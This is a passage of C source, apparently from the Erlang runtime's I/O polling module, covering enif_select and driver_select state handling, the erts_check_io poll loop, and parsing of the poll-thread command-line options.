ERTS_EV_TYPE_DRV_SEL: nif_select_steal(state, mode, resource, msg); break; case ERTS_EV_TYPE_STOP_USE: { erts_dsprintf_buf_t *dsbufp = erts_create_logger_dsbuf(); print_nif_select_op(dsbufp, fd, mode, resource, msg); steal_pending_stop_use(dsbufp, ERTS_INVALID_ERL_DRV_PORT, state, mode, on); ASSERT(state->type == ERTS_EV_TYPE_NONE); break; } case ERTS_EV_TYPE_STOP_NIF: { erts_dsprintf_buf_t *dsbufp = erts_create_logger_dsbuf(); print_nif_select_op(dsbufp, fd, mode, resource, msg); steal_pending_stop_nif(dsbufp, resource, state, mode, on); if (state->type == ERTS_EV_TYPE_STOP_NIF) { ret = ERL_NIF_SELECT_STOP_SCHEDULED; /* ?? */ goto done; } ASSERT(state->type == ERTS_EV_TYPE_NONE); break; } default: break; } ASSERT((state->type == ERTS_EV_TYPE_NIF) || (state->type == ERTS_EV_TYPE_NONE && !state->events)); old_events = state->events; if (on) { ctl_events &= ~old_events; state->events |= ctl_events; state->active_events |= ctl_events; if (state->type == ERTS_EV_TYPE_NONE) ctl_op = ERTS_POLL_OP_ADD; } else { ctl_events &= old_events; state->events &= ~ctl_events; state->active_events &= ~ctl_events; } if (ctl_events || ctl_op == ERTS_POLL_OP_DEL) { ErtsPollEvents new_events; new_events = erts_io_control_wakeup(state, ctl_op, state->active_events, &wake_poller); if (new_events & (ERTS_POLL_EV_ERR|ERTS_POLL_EV_NVAL)) { if (state->type == ERTS_EV_TYPE_NIF && !old_events) { state->type = ERTS_EV_TYPE_NONE; state->flags = 0; state->driver.nif->in.pid = NIL; state->driver.nif->out.pid = NIL; state->driver.stop.resource = NULL; } ret = INT_MIN | ERL_NIF_SELECT_FAILED; goto done; } ASSERT(new_events == state->events); } ASSERT(state->type == ERTS_EV_TYPE_NIF || state->type == ERTS_EV_TYPE_NONE); if (on) { const Eterm recipient = pid ? pid->pid : env->proc->common.id; ASSERT(is_internal_pid(recipient)); if (!state->driver.nif) state->driver.nif = alloc_nif_select_data(); if (state->type == ERTS_EV_TYPE_NONE) { state->type = ERTS_EV_TYPE_NIF; state->driver.stop.resource = resource; enif_keep_resource(resource->data); } ASSERT(state->type == ERTS_EV_TYPE_NIF); ASSERT(state->driver.stop.resource == resource); if (mode & ERL_DRV_READ) { prepare_select_msg(&state->driver.nif->in, mode, recipient, resource, msg, msg_env, am_ready_input); msg_env = NULL; } if (mode & ERL_DRV_WRITE) { prepare_select_msg(&state->driver.nif->out, mode, recipient, resource, msg, msg_env, am_ready_output); } ret = 0; } else { /* off */ ret = 0; if (state->type == ERTS_EV_TYPE_NIF) { if (mode & ERL_NIF_SELECT_READ && is_not_nil(state->driver.nif->in.pid)) { clear_select_event(&state->driver.nif->in); ret |= ERL_NIF_SELECT_READ_CANCELLED; } if (mode & ERL_NIF_SELECT_WRITE && is_not_nil(state->driver.nif->out.pid)) { clear_select_event(&state->driver.nif->out); ret |= ERL_NIF_SELECT_WRITE_CANCELLED; } } if (mode & ERL_NIF_SELECT_STOP) { ASSERT(state->events==0); if (!wake_poller) { /* * Safe to close fd now as it is not in pollset * or there was no need to eject fd (kernel poll) */ if (state->type == ERTS_EV_TYPE_NIF) { ASSERT(state->driver.stop.resource == resource); call_stop = CALL_STOP_AND_RELEASE; state->driver.stop.resource = NULL; } else { ASSERT(!state->driver.stop.resource); call_stop = CALL_STOP; } state->type = ERTS_EV_TYPE_NONE; ret |= ERL_NIF_SELECT_STOP_CALLED; } else { /* Not safe to close fd, postpone stop_select callback. */ if (state->type == ERTS_EV_TYPE_NONE) { ASSERT(!state->driver.stop.resource); state->driver.stop.resource = resource; enif_keep_resource(resource); } state->type = ERTS_EV_TYPE_STOP_NIF; ret |= ERL_NIF_SELECT_STOP_SCHEDULED; } } else ASSERT(mode & ERL_NIF_SELECT_CANCEL); } done: check_fd_cleanup(state, &free_select, &free_nif); done_unknown: erts_mtx_unlock(fd_mtx(fd)); if (call_stop) { erts_resource_stop(resource, (ErlNifEvent)fd, 1); if (call_stop == CALL_STOP_AND_RELEASE) { enif_release_resource(resource->data); } } if (free_select) free_drv_select_data(free_select); if (free_nif) free_nif_select_data(free_nif); return ret; } static ERTS_INLINE int chk_stale(Eterm id, ErtsDrvEventState *state, int mode) { if (is_nil(id)) return 0; if (erts_is_port_alive(id)) return 1; /* Steal */ stale_drv_select(id, state, mode); return 0; } static int need2steal(ErtsDrvEventState *state, int mode) { int do_steal = 0; switch (state->type) { case ERTS_EV_TYPE_DRV_SEL: if (mode & ERL_DRV_READ) do_steal |= chk_stale(state->driver.select->inport, state, ERL_DRV_READ); if (mode & ERL_DRV_WRITE) do_steal |= chk_stale(state->driver.select->outport, state, ERL_DRV_WRITE); break; case ERTS_EV_TYPE_NIF: ASSERT(state->driver.stop.resource); do_steal = 1; break; case ERTS_EV_TYPE_STOP_USE: case ERTS_EV_TYPE_STOP_NIF: ASSERT(0); break; default: break; } return do_steal; } static void print_driver_name(erts_dsprintf_buf_t *dsbufp, Eterm id) { ErtsPortNames *pnp = erts_get_port_names(id, ERTS_INVALID_ERL_DRV_PORT); if (!pnp->name && !pnp->driver_name) erts_dsprintf(dsbufp, "%s ", "<unknown>"); else { if (pnp->name) { if (!pnp->driver_name || strcmp(pnp->driver_name, pnp->name) == 0) erts_dsprintf(dsbufp, "%s ", pnp->name); else erts_dsprintf(dsbufp, "%s (%s) ", pnp->driver_name, pnp->name); } else if (pnp->driver_name) { erts_dsprintf(dsbufp, "%s ", pnp->driver_name); } } erts_free_port_names(pnp); } static void steal(erts_dsprintf_buf_t *dsbufp, ErtsDrvEventState *state, int mode) { erts_dsprintf(dsbufp, "stealing control of fd=%bpd from ", (SWord) state->fd); switch (state->type) { case ERTS_EV_TYPE_DRV_SEL: { int deselect_mode = 0; Eterm iid = state->driver.select->inport; Eterm oid = state->driver.select->outport; if ((mode & ERL_DRV_READ) && (is_not_nil(iid))) { erts_dsprintf(dsbufp, "input driver "); print_driver_name(dsbufp, iid); erts_dsprintf(dsbufp, "%T ", iid); deselect_mode |= ERL_DRV_READ; } if ((mode & ERL_DRV_WRITE) && is_not_nil(oid)) { if (deselect_mode) { erts_dsprintf(dsbufp, "and "); } erts_dsprintf(dsbufp, "output driver "); print_driver_name(dsbufp, oid); erts_dsprintf(dsbufp, "%T ", oid); deselect_mode |= ERL_DRV_WRITE; } if (deselect_mode) deselect(state, deselect_mode); else { erts_dsprintf(dsbufp, "no one"); ASSERT(0); } erts_dsprintf(dsbufp, "\n"); break; } case ERTS_EV_TYPE_NIF: { Eterm iid = state->driver.nif->in.pid; Eterm oid = state->driver.nif->out.pid; const char* with = "with"; ErlNifResourceType* rt = state->driver.stop.resource->type; erts_dsprintf(dsbufp, "resource %T:%T", rt->module, rt->name); if (is_not_nil(iid)) { erts_dsprintf(dsbufp, " %s in-pid %T", with, iid); with = "and"; } if (is_not_nil(oid)) { erts_dsprintf(dsbufp, " %s out-pid %T", with, oid); } deselect(state, 0); erts_dsprintf(dsbufp, "\n"); break; } case ERTS_EV_TYPE_STOP_USE: case ERTS_EV_TYPE_STOP_NIF: { ASSERT(0); break; } default: erts_dsprintf(dsbufp, "no one\n"); ASSERT(0); } } static void print_drv_select_op(erts_dsprintf_buf_t *dsbufp, ErlDrvPort ix, ErtsSysFdType fd, int mode, int on) { Port *pp = erts_drvport2port(ix); erts_dsprintf(dsbufp, "driver_select(%p, %bpd,%s%s%s%s, %d) " "by ", ix, (SWord) fd, mode & ERL_DRV_READ ? " ERL_DRV_READ" : "", mode & ERL_DRV_WRITE ? " ERL_DRV_WRITE" : "", mode & ERL_DRV_USE ? " ERL_DRV_USE" : "", mode & (ERL_DRV_USE_NO_CALLBACK & ~ERL_DRV_USE) ? "_NO_CALLBACK" : "", on); print_driver_name(dsbufp, pp != ERTS_INVALID_ERL_DRV_PORT ? pp->common.id : NIL); erts_dsprintf(dsbufp, "driver %T ", pp != ERTS_INVALID_ERL_DRV_PORT ? pp->common.id : NIL); } static void print_nif_select_op(erts_dsprintf_buf_t *dsbufp, ErtsSysFdType fd, int mode, ErtsResource* resource, Eterm ref) { erts_dsprintf(dsbufp, "enif_select(_, %bpd,%s%s%s, %T:%T, %T) ", (SWord) fd, mode & ERL_NIF_SELECT_READ ? " READ" : "", mode & ERL_NIF_SELECT_WRITE ? " WRITE" : "", (mode & ERL_NIF_SELECT_STOP ? " STOP" : (mode & ERL_NIF_SELECT_CANCEL ? " CANCEL" : "")), resource->type->module, resource->type->name, ref); } static void drv_select_steal(ErlDrvPort ix, ErtsDrvEventState *state, int mode, int on) { if (need2steal(state, mode)) { erts_dsprintf_buf_t *dsbufp = erts_create_logger_dsbuf(); print_drv_select_op(dsbufp, ix, state->fd, mode, on); steal(dsbufp, state, mode); erts_send_error_to_logger_nogl(dsbufp); } } static void nif_select_steal(ErtsDrvEventState *state, int mode, ErtsResource* resource, Eterm ref) { if (need2steal(state, mode)) { erts_dsprintf_buf_t *dsbufp = erts_create_logger_dsbuf(); print_nif_select_op(dsbufp, state->fd, mode, resource, ref); steal(dsbufp, state, mode); erts_send_error_to_logger_nogl(dsbufp); } } #ifdef ERTS_SYS_CONTINOUS_FD_NUMBERS static void large_fd_error_common(erts_dsprintf_buf_t *dsbufp, ErtsSysFdType fd) { erts_dsprintf(dsbufp, "fd=%d is larger than the largest allowed fd=%d\n", (int) fd, drv_ev_state.max_fds - 1); } static void drv_select_large_fd_error(ErlDrvPort ix, ErtsSysFdType fd, int mode, int on) { erts_dsprintf_buf_t *dsbufp = erts_create_logger_dsbuf(); print_drv_select_op(dsbufp, ix, fd, mode, on); erts_dsprintf(dsbufp, "failed: "); large_fd_error_common(dsbufp, fd); erts_send_error_to_logger_nogl(dsbufp); } static void nif_select_large_fd_error(ErtsSysFdType fd, int mode, ErtsResource* resource, Eterm ref) { erts_dsprintf_buf_t *dsbufp = erts_create_logger_dsbuf(); print_nif_select_op(dsbufp, fd, mode, resource, ref); erts_dsprintf(dsbufp, "failed: "); large_fd_error_common(dsbufp, fd); erts_send_error_to_logger_nogl(dsbufp); } #endif /* ERTS_SYS_CONTINOUS_FD_NUMBERS */ static void steal_pending_stop_use(erts_dsprintf_buf_t *dsbufp, ErlDrvPort ix, ErtsDrvEventState *state, int mode, int on) { int cancel = 0; ASSERT(state->type == ERTS_EV_TYPE_STOP_USE); if (on) { /* Either fd-owner changed its mind about closing * or closed fd before stop_select callback and fd is now reused. * In either case stop_select should not be called. */ cancel = 1; } else if ((mode & ERL_DRV_USE_NO_CALLBACK) == ERL_DRV_USE) { Port *prt = erts_drvport2port(ix); if (prt == ERTS_INVALID_ERL_DRV_PORT || prt->drv_ptr != state->driver.stop.drv_ptr) { /* Some other driver or nif wants the stop_select callback */ cancel = 1; } } if (cancel) { erts_dsprintf(dsbufp, "called before stop_select was called for driver '%s'\n", state->driver.stop.drv_ptr->name); if (state->driver.stop.drv_ptr->handle) { erts_ddll_dereference_driver(state->driver.stop.drv_ptr->handle); } state->type = ERTS_EV_TYPE_NONE; state->flags = 0; state->driver.stop.drv_ptr = NULL; } else { erts_dsprintf(dsbufp, "ignored repeated call\n"); } erts_send_error_to_logger_nogl(dsbufp); } static void steal_pending_stop_nif(erts_dsprintf_buf_t *dsbufp, ErtsResource* resource, ErtsDrvEventState *state, int mode, int on) { int cancel = 0; ASSERT(state->type == ERTS_EV_TYPE_STOP_NIF); ASSERT(state->driver.stop.resource); if (on) { ASSERT(mode & (ERL_NIF_SELECT_READ | ERL_NIF_SELECT_WRITE)); /* Either fd-owner changed its mind about closing * or closed fd before stop callback and fd is now reused. * In either case, stop should not be called. */ cancel = 1; } else if ((mode & ERL_DRV_USE_NO_CALLBACK) == ERL_DRV_USE && resource != state->driver.stop.resource) { /* Some driver or other resource wants the stop callback */ cancel = 1; } if (cancel) { ErlNifResourceType* rt = state->driver.stop.resource->type; erts_dsprintf(dsbufp, "called before stop was called for NIF resource %T:%T\n", rt->module, rt->name); enif_release_resource(state->driver.stop.resource->data); state->type = ERTS_EV_TYPE_NONE; state->flags = 0; state->driver.stop.resource = NULL; } else { erts_dsprintf(dsbufp, "ignored repeated call\n"); } erts_send_error_to_logger_nogl(dsbufp); } static ERTS_INLINE int io_task_schedule_allowed(ErtsDrvEventState *state, ErtsPortTaskType type) { ErtsIoTask *io_task; switch (type) { case ERTS_PORT_TASK_INPUT: if (!state->driver.select) return 0; io_task = &state->driver.select->iniotask; break; case ERTS_PORT_TASK_OUTPUT: if (!state->driver.select) return 0; io_task = &state->driver.select->outiotask; break; default: ERTS_INTERNAL_ERROR("Invalid I/O-task type"); return 0; } return !is_iotask_active(io_task); } static ERTS_INLINE void iready(Eterm id, ErtsDrvEventState *state) { if (io_task_schedule_allowed(state, ERTS_PORT_TASK_INPUT)) { ErtsIoTask *iotask = &state->driver.select->iniotask; if (erts_port_task_schedule(id, &iotask->task, ERTS_PORT_TASK_INPUT, (ErlDrvEvent) state->fd, state->flags & ERTS_EV_FLAG_IN_SCHEDULER) != 0) { stale_drv_select(id, state, ERL_DRV_READ); } else { DEBUG_PRINT_FD("schedule ready_input(%T, %d)", state, id, state->fd); } } } static ERTS_INLINE void oready(Eterm id, ErtsDrvEventState *state) { if (io_task_schedule_allowed(state, ERTS_PORT_TASK_OUTPUT)) { ErtsIoTask *iotask = &state->driver.select->outiotask; if (erts_port_task_schedule(id, &iotask->task, ERTS_PORT_TASK_OUTPUT, (ErlDrvEvent) state->fd, 0) != 0) { stale_drv_select(id, state, ERL_DRV_WRITE); } else { DEBUG_PRINT_FD("schedule ready_output(%T, %d)", state, id, state->fd); } } } static void bad_fd_in_pollset(ErtsDrvEventState *, Eterm inport, Eterm outport); void erts_check_io_interrupt(ErtsPollThread *psi, int set) { if (psi) { #if ERTS_POLL_USE_FALLBACK if (psi->ps == get_fallback_pollset()) { erts_poll_interrupt_flbk(psi->ps, set); return; } #endif erts_poll_interrupt(psi->ps, set); } } ErtsPollThread * erts_create_pollset_thread(int id, ErtsThrPrgrData *tpd) { psiv[id].tpd = tpd; return psiv+id; } void erts_check_io(ErtsPollThread *psi, ErtsMonotonicTime timeout_time, int poll_only_thread) { int pollres_len; int poll_ret, i; ERTS_MSACC_PUSH_AND_SET_STATE(ERTS_MSACC_STATE_CHECK_IO); restart: #ifdef ERTS_ENABLE_LOCK_CHECK erts_lc_check_exact(NULL, 0); /* No locks should be locked */ #endif pollres_len = psi->pollres_len; if (poll_only_thread) erts_thr_progress_active(psi->tpd, 0); #if ERTS_POLL_USE_FALLBACK if (psi->ps == get_fallback_pollset()) { poll_ret = erts_poll_wait_flbk(psi->ps, psi->pollres, &pollres_len, psi->tpd, timeout_time); } else #endif { poll_ret = erts_poll_wait(psi->ps, psi->pollres, &pollres_len, psi->tpd, timeout_time); } if (poll_only_thread) erts_thr_progress_active(psi->tpd, 1); #ifdef ERTS_ENABLE_LOCK_CHECK erts_lc_check_exact(NULL, 0); /* No locks should be locked */ #endif if (poll_ret != 0) { if (poll_ret == EAGAIN) { goto restart; } if (poll_ret != ETIMEDOUT && poll_ret != EINTR #ifdef ERRNO_BLOCK && poll_ret != ERRNO_BLOCK #endif ) { erts_dsprintf_buf_t *dsbufp = erts_create_logger_dsbuf(); erts_dsprintf(dsbufp, "erts_poll_wait() failed: %s (%d)\n", erl_errno_id(poll_ret), poll_ret); erts_send_error_to_logger_nogl(dsbufp); } ERTS_MSACC_POP_STATE(); return; } for (i = 0; i < pollres_len; i++) { erts_driver_t* drv_ptr = NULL; ErtsResource* resource = NULL; ErtsDrvSelectDataState *free_select = NULL; ErtsNifSelectDataState *free_nif = NULL; ErtsSysFdType fd = (ErtsSysFdType) ERTS_POLL_RES_GET_FD(&psi->pollres[i]); ErtsDrvEventState *state; ErtsPollEvents revents = ERTS_POLL_RES_GET_EVTS(&psi->pollres[i]); /* The fd will be set to INVALID if a pollset internal fd was triggered that was determined to be too expensive to remove from the result. */ if (fd == ERTS_SYS_FD_INVALID) continue; erts_mtx_lock(fd_mtx(fd)); state = get_drv_ev_state(fd); if (!state) { erts_mtx_unlock(fd_mtx(fd)); continue; } DEBUG_PRINT_FD("triggered %s", state, ev2str(revents)); if (revents & ERTS_POLL_EV_ERR) { /* * Handle error events by triggering all in/out events * that has been selected on. * We *do not* want to call a callback that corresponds * to an event not selected. */ revents = state->active_events; state->active_events = 0; if (state->flags & ERTS_EV_FLAG_IN_SCHEDULER) { erts_io_control(state, ERTS_POLL_OP_MOD, 0); state->flags &= ~ERTS_EV_FLAG_IN_SCHEDULER; } } else { /* Disregard any events that are not active at the moment, for instance this could happen if the driver/nif does select/deselect in rapid succession. */ revents &= state->active_events | ERTS_POLL_EV_NVAL; if (psi->ps != get_scheduler_pollset(fd) || !ERTS_POLL_USE_SCHEDULER_POLLING) { ErtsPollEvents reactive_events; state->active_events &= ~revents; reactive_events = state->active_events; if (state->flags & ERTS_EV_FLAG_IN_SCHEDULER) { reactive_events &= ~ERTS_POLL_EV_IN; state->active_events |= ERTS_POLL_EV_IN; } /* Reactivate the poll op if there are still active events */ if (reactive_events) { ErtsPollEvents new_events; DEBUG_PRINT_FD("re-enable %s", state, ev2str(reactive_events)); new_events = erts_io_control(state, ERTS_POLL_OP_MOD, reactive_events); /* Unable to re-enable the fd, signal all callbacks */ if (new_events & (ERTS_POLL_EV_ERR|ERTS_POLL_EV_NVAL)) { revents |= reactive_events; state->active_events &= ~reactive_events; } } } } switch (state->type) { case ERTS_EV_TYPE_DRV_SEL: { /* Requested via driver_select()... */ if (revents & (ERTS_POLL_EV_IN|ERTS_POLL_EV_OUT)) { if (revents & ERTS_POLL_EV_OUT) { oready(state->driver.select->outport, state); } /* Someone might have deselected input since revents was read (true also on the non-smp emulator since oready() may have been called); therefore, update revents... */ revents &= state->events; if (revents & ERTS_POLL_EV_IN) { iready(state->driver.select->inport, state); } } else if (revents & ERTS_POLL_EV_NVAL) { bad_fd_in_pollset(state, state->driver.select->inport, state->driver.select->outport); check_fd_cleanup(state, &free_select, &free_nif); } break; } case ERTS_EV_TYPE_NIF: { /* Requested via enif_select()... */ struct erts_nif_select_event in = {NIL}; struct erts_nif_select_event out = {NIL}; if (revents & (ERTS_POLL_EV_IN|ERTS_POLL_EV_OUT)) { if (revents & ERTS_POLL_EV_OUT) { if (is_not_nil(state->driver.nif->out.pid)) { out = state->driver.nif->out; resource = state->driver.stop.resource; state->driver.nif->out.pid = NIL; state->driver.nif->out.mp = NULL; } } if (revents & ERTS_POLL_EV_IN) { if (is_not_nil(state->driver.nif->in.pid)) { in = state->driver.nif->in; resource = state->driver.stop.resource; state->driver.nif->in.pid = NIL; state->driver.nif->in.mp = NULL; } } state->events &= ~revents; } else if (revents & ERTS_POLL_EV_NVAL) { bad_fd_in_pollset(state, NIL, NIL); check_fd_cleanup(state, &free_select, &free_nif); } erts_mtx_unlock(fd_mtx(fd)); if (is_not_nil(in.pid)) { send_select_msg(&in); } if (is_not_nil(out.pid)) { send_select_msg(&out); } continue; } case ERTS_EV_TYPE_STOP_NIF: { resource = state->driver.stop.resource; state->type = ERTS_EV_TYPE_NONE; goto case_ERTS_EV_TYPE_NONE; } case ERTS_EV_TYPE_STOP_USE: { #if ERTS_POLL_USE_FALLBACK ASSERT(psi->ps == get_fallback_pollset()); #endif drv_ptr = state->driver.stop.drv_ptr; state->type = ERTS_EV_TYPE_NONE; /* fallthrough */ case ERTS_EV_TYPE_NONE: /* Deselected ... */ case_ERTS_EV_TYPE_NONE: ASSERT(!state->events && !state->active_events && !state->flags); check_fd_cleanup(state, &free_select, &free_nif); break; } default: { /* Error */ erts_dsprintf_buf_t *dsbufp; dsbufp = erts_create_logger_dsbuf(); erts_dsprintf(dsbufp, "Invalid event request type for fd in erts_poll()! " "fd=%bpd, event request type=%d\n", (SWord) state->fd, (int) state->type); ASSERT(0); deselect(state, 0); break; } } erts_mtx_unlock(fd_mtx(fd)); if (drv_ptr) { int was_unmasked = erts_block_fpe(); DTRACE1(driver_stop_select, drv_ptr->name); LTTNG1(driver_stop_select, drv_ptr->name); (*drv_ptr->stop_select)((ErlDrvEvent) fd, NULL); erts_unblock_fpe(was_unmasked); if (drv_ptr->handle) { erts_ddll_dereference_driver(drv_ptr->handle); } } if (resource) { erts_resource_stop(resource, (ErlNifEvent)fd, 0); enif_release_resource(resource->data); } if (free_select) free_drv_select_data(free_select); if (free_nif) free_nif_select_data(free_nif); } /* The entire pollres array was filled with events, * grow it for the next call. We do this for two reasons: * 1. Pulling out more events in on go will increase throughput * 2. If the polling implementation is not fair, this will make * sure that we get all fds that we can. i.e. if 12 fds are * constantly active, but we only have a pollres_len of 10, * two of the fds may never be triggered depending on what the * kernel decides to do. **/ if (pollres_len == psi->pollres_len) { int ev_state_len = drv_ev_state_len(); erts_free(ERTS_ALC_T_POLLSET, psi->pollres); psi->pollres_len *= 2; /* Never grow it larger than the current drv_ev_state.len size */ if (psi->pollres_len > ev_state_len) psi->pollres_len = ev_state_len; psi->pollres = erts_alloc(ERTS_ALC_T_POLLSET, sizeof(ErtsPollResFd) * psi->pollres_len); } ERTS_MSACC_POP_STATE(); } static void bad_fd_in_pollset(ErtsDrvEventState *state, Eterm inport, Eterm outport) { ErtsPollEvents events = state->events; erts_dsprintf_buf_t *dsbufp = erts_create_logger_dsbuf(); if (events & (ERTS_POLL_EV_IN|ERTS_POLL_EV_OUT)) { char *io_str; Eterm port = NIL; if ((events & ERTS_POLL_EV_IN) && (events & ERTS_POLL_EV_OUT)) { io_str = "input/output"; if (inport == outport) port = inport; } else { if (events & ERTS_POLL_EV_IN) { io_str = "input"; port = inport; } else { io_str = "output"; port = outport; } } erts_dsprintf(dsbufp, "Bad %s fd in erts_poll()! fd=%bpd, ", io_str, (SWord) state->fd); if (state->type == ERTS_EV_TYPE_DRV_SEL) { if (is_nil(port)) { ErtsPortNames *ipnp = erts_get_port_names(inport, ERTS_INVALID_ERL_DRV_PORT); ErtsPortNames *opnp = erts_get_port_names(outport, ERTS_INVALID_ERL_DRV_PORT); erts_dsprintf(dsbufp, "ports=%T/%T, drivers=%s/%s, names=%s/%s\n", is_nil(inport) ? am_undefined : inport, is_nil(outport) ? am_undefined : outport, ipnp->driver_name ? ipnp->driver_name : "<unknown>", opnp->driver_name ? opnp->driver_name : "<unknown>", ipnp->name ? ipnp->name : "<unknown>", opnp->name ? opnp->name : "<unknown>"); erts_free_port_names(ipnp); erts_free_port_names(opnp); } else { ErtsPortNames *pnp = erts_get_port_names(port, ERTS_INVALID_ERL_DRV_PORT); erts_dsprintf(dsbufp, "port=%T, driver=%s, name=%s\n", is_nil(port) ? am_undefined : port, pnp->driver_name ? pnp->driver_name : "<unknown>", pnp->name ? pnp->name : "<unknown>"); erts_free_port_names(pnp); } } else { ErlNifResourceType* rt; ASSERT(state->type == ERTS_EV_TYPE_NIF); ASSERT(state->driver.stop.resource); rt = state->driver.stop.resource->type; erts_dsprintf(dsbufp, "resource={%T,%T}\n", rt->module, rt->name); } } else { erts_dsprintf(dsbufp, "Bad fd in erts_poll()! fd=%bpd\n", (SWord) state->fd); } erts_send_error_to_logger_nogl(dsbufp); /* unmap entry */ deselect(state, 0); } static void stale_drv_select(Eterm id, ErtsDrvEventState *state, int mode) { erts_stale_drv_select(id, ERTS_INVALID_ERL_DRV_PORT, (ErlDrvEvent) state->fd, mode, 0); deselect(state, mode); } #ifndef ERTS_SYS_CONTINOUS_FD_NUMBERS static SafeHashValue drv_ev_state_hash(void *des) { SafeHashValue val = (SafeHashValue)(SWord) ((ErtsDrvEventState *) des)->fd; return val ^ (val >> 8); /* Good enough for aligned pointer values? */ } static int drv_ev_state_cmp(void *des1, void *des2) { return ( ((ErtsDrvEventState *) des1)->fd == ((ErtsDrvEventState *) des2)->fd ? 0 : 1); } static void *drv_ev_state_alloc(void *des_tmpl) { ErtsDrvEventState *evstate; erts_spin_lock(&drv_ev_state.prealloc_lock); if (drv_ev_state.prealloc_first == NULL) { erts_spin_unlock(&drv_ev_state.prealloc_lock); evstate = (ErtsDrvEventState *) erts_alloc(ERTS_ALC_T_DRV_EV_STATE, sizeof(ErtsDrvEventState)); } else { evstate = drv_ev_state.prealloc_first; drv_ev_state.prealloc_first = (ErtsDrvEventState *) evstate->hb.next; --drv_ev_state.num_prealloc; erts_spin_unlock(&drv_ev_state.prealloc_lock); } /* XXX: Already valid data if prealloced, could ignore template! */ *evstate = *((ErtsDrvEventState *) des_tmpl); return (void *) evstate; } static void drv_ev_state_free(void *des) { erts_spin_lock(&drv_ev_state.prealloc_lock); ((ErtsDrvEventState *) des)->hb.next = &drv_ev_state.prealloc_first->hb; drv_ev_state.prealloc_first = (ErtsDrvEventState *) des; ++drv_ev_state.num_prealloc; erts_spin_unlock(&drv_ev_state.prealloc_lock); } #endif #define ERTS_MAX_NO_OF_POLL_THREADS ERTS_MAX_NO_OF_SCHEDULERS static char * get_arg(char* rest, char** argv, int* ip) { int i = *ip; if (*rest == '\0') { if (argv[i+1] == NULL) { erts_fprintf(stderr, "too few arguments\n"); erts_usage(); } argv[i++] = NULL; rest = argv[i]; } argv[i] = NULL; *ip = i; return rest; } static void parse_args(int *argc, char **argv, int concurrent_waiters) { int i = 0, j; int no_pollsets = 0, no_poll_threads = 0, no_pollsets_percentage = 0, no_poll_threads_percentage = 0; ASSERT(argc && argv); while (i < *argc) { if(argv[i][0] == '-') { switch (argv[i][1]) { case 'I': { if (strncmp(argv[i]+2, "Ot", 2) == 0) { char *arg = get_arg(argv[i]+4, argv, &i); if (sscanf(arg, "%d", &no_poll_threads) != 1 || no_poll_threads < 1 || ERTS_MAX_NO_OF_POLL_THREADS < no_poll_threads) { erts_fprintf(stderr,"bad I/O poll threads number: %s\n", arg); erts_usage(); } } else if (strncmp(argv[i]+2, "Op", 3) == 0) { char *arg = get_arg(argv[i]+4, argv, &i); if (sscanf(arg, "%d", &no_pollsets) != 1 || no_pollsets < 1) { erts_fprintf(stderr,"bad I/O pollset number: %s\n", arg); erts_usage(); } } else if (strncmp(argv[i]+2, "OPt", 4) == 0) { char *arg = get_arg(argv[i]+5, argv, &i); if (sscanf(arg, "%d", &no_poll_threads_percentage) != 1 || no_poll_threads_percentage < 0 || no_poll_threads_percentage > 100) { erts_fprintf(stderr,"bad I/O poll thread percentage number: %s\n", arg); erts_usage(); } } else if (strncmp(argv[i]+2, "OPp", 4) == 0) { char *arg = get_arg(argv[i]+5, argv, &i); if (sscanf(arg, "%d", &no_pollsets_percentage) != 1 || no_pollsets_percentage < 0 || no_pollsets_percentage > 100) { erts_fprintf(stderr,"bad I/O pollset percentage number: %s\n", arg); erts_usage(); } } else { break; } break; } case 'K': (void)get_arg(argv[i]+2, argv, &i); break; case '-': goto args_parsed; default: break; } } i++; } args_parsed: if (!concurrent_waiters) { no_pollsets = no_poll_threads; no_pollsets_percentage = 100; } if (no_poll_threads == 0) { if (no_poll_threads_percentage == 0) no_poll_threads = 1; /* This is the default */ else { no_poll_threads = erts_no_schedulers * no_poll_threads_percentage / 100; if (no_poll_threads < 1) no_poll_threads = 1; } } if (no_pollsets == 0) { if (no_pollsets_percentage == 0) no_pollsets = 1; /* This is the default */ else { no_pollsets = no_poll_threads * no_pollsets_percentage / 100; if (no_pollsets < 1) no_pollsets = 1; } } if (no_poll_threads < no_pollsets) { erts_fprintf(stderr, "number of IO poll threads has to be greater or equal to " "the number of \nIO pollsets. Current values are set to: \n" " -IOt %d -IOp %d\n", no_poll_threads, no_pollsets); erts_usage(); } /* Handled arguments have been marked with NULL. Slide arguments not handled towards the beginning of argv. */ for (i = 0, j = 0; i < *argc; i++) { if (argv[i]) argv[j++] = argv[i]; } *argc = j; erts_no_pollsets = no_pollsets; erts_no_poll_threads = no_poll_threads; } void erts_init_check_io(int *argc, char **argv) { int j, concurrent_waiters, no_poll_threads; ERTS_CT_ASSERT((INT_MIN & (ERL_NIF_SELECT_STOP_CALLED | ERL_NIF_SELECT_STOP_SCHEDULED | ERL_NIF_SELECT_INVALID_EVENT | ERL_NIF_SELECT_FAILED)) == 0); erts_poll_init(&concurrent_waiters); #if ERTS_POLL_USE_FALLBACK erts_poll_init_flbk(NULL); #endif parse_args(argc, argv, concurrent_waiters); /* Create the actual pollsets */ pollsetv = erts_alloc(ERTS_ALC_T_POLLSET,sizeof(ErtsPollSet *) * erts_no_pollsets); for (j=0; j < erts_no_pollsets; j++) pollsetv[j] = erts_poll_create_pollset(j); no_poll_threads = erts_no_poll_threads; j = -1; #if ERTS_POLL_USE_SCHEDULER_POLLING sched_pollset = erts_poll_create_pollset(j--); no_poll_threads++; #endif #if ERTS_POLL_USE_FALLBACK flbk_pollset = erts_poll_create_pollset_flbk(j--); no_poll_threads++; #endif psiv = erts_alloc(ERTS_ALC_T_POLLSET, sizeof(ErtsPollThread) * no_poll_threads); #if ERTS_POLL_USE_FALLBACK psiv[0].pollres_len = ERTS_CHECK_IO_POLL_RES_LEN; psiv[0].pollres = erts_alloc(ERTS_ALC_T_POLLSET, sizeof(ErtsPollResFd) * ERTS_CHECK_IO_POLL_RES_LEN); psiv[0].ps = get_fallback_pollset(); psiv++; #endif #if ERTS_POLL_USE_SCHEDULER_POLLING psiv[0].pollres_len = ERTS_CHECK_IO_POLL_RES_LEN; psiv[0].pollres = erts_alloc(ERTS_ALC_T_POLLSET, sizeof(ErtsPollResFd) * ERTS_CHECK_IO_POLL_RES_LEN); psiv[0].ps = get_scheduler_pollset(0); psiv++; #endif for (j = 0; j < erts_no_poll_threads; j++) { psiv[j].pollres_len = ERTS_CHECK_IO_POLL_RES_LEN; psiv[j].pollres = erts_alloc(ERTS_ALC_T_POLLSET, sizeof(ErtsPollResFd) * ERTS_CHECK_IO_POLL_RES_LEN); psiv[j].ps = pollsetv[j % erts_no_pollsets]; } for 